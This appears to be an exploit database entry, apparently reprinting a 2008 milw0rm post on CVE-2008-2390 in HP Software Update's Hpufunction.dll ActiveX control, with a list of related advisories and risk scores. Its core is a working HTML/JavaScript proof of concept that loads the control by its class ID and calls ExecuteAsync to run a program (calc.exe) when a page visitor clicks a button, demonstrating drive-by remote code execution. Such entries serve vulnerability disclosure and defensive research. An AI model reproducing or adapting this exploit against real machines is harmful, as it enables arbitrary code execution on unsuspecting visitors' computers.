HP Software Update - 'Hpufunction.dll 4.0.0.1' Insecure Method

🗓️ 27 Apr 2008 00:00:00Reported by callAXType

HP Software Update - 'Hpufunction.dll 4.0.0.1' Insecure Method allows remote code executio

Reporter	Title	Published	Views	Family All 7
Circl	CVE-2008-2390	27 Apr 200800:00	–	circl
CVE	CVE-2008-2390	21 May 200810:00	–	cve
Cvelist	CVE-2008-2390	21 May 200810:00	–	cvelist
EUVD	EUVD-2008-2385	7 Oct 202500:30	–	euvd
Kaspersky	KLA10192 ACE vulnerability in HP Software Update	21 May 200800:00	–	kaspersky
NVD	CVE-2008-2390	21 May 200813:24	–	nvd
Prion	Code injection	21 May 200813:24	–	prion

&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
Insecure Methods in HP Update Software.
Remote: Yes
Execute code remotely is possible using methods ExecuteAsync and Execute  :-)
If a user visits the malicious page the attacker can execute code.
Coded by callAX
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

Proof of Concept
----------------


<HTML>
<BODY>
<object id=boom classid="clsid:{B00FBC78-73CB-4216-8D01-96770CC020C3}"></object>
<SCRIPT language="javascript">


function Do_it()
{
  var Please = "c:\\windows\\system32\\calc.exe"
  var Give = "doest_matter"
  var Me = "c:\\"
  var Freedom  = 1;

  boom.ExecuteAsync (Please, Give, Me ,Freedom);
}


</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="Poc">
</BODY>
</HTML>

# milw0rm.com [2008-04-27]

27 Apr 2008 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 26.8

EPSS0.06861